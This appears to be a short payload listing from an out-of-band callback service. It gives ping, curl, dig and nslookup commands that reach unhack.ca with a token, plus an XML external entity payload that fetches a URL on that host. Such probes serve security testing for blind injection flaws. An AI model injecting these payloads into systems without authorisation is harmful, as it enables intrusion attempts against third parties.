$ ping -c1 -p 003c7a58f6d2ba0a97af423d6505fc00 unhack.ca
 

$ curl http://unhack.ca/p/3c7a58f6d2ba0a97af423d6505fc
 

$ dig 3c7a58f6d2ba0a97af423d6505fc @unhack.ca
 

$ dig 3c7a58f6d2ba0a97af423d6505fc.ns.unhack.ca
 

C:\> nslookup 3c7a58f6d2ba0a97af423d6505fc unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3c7a58f6d2ba0a97af423d6505fc">]>
    <foo>&xxe;</foo>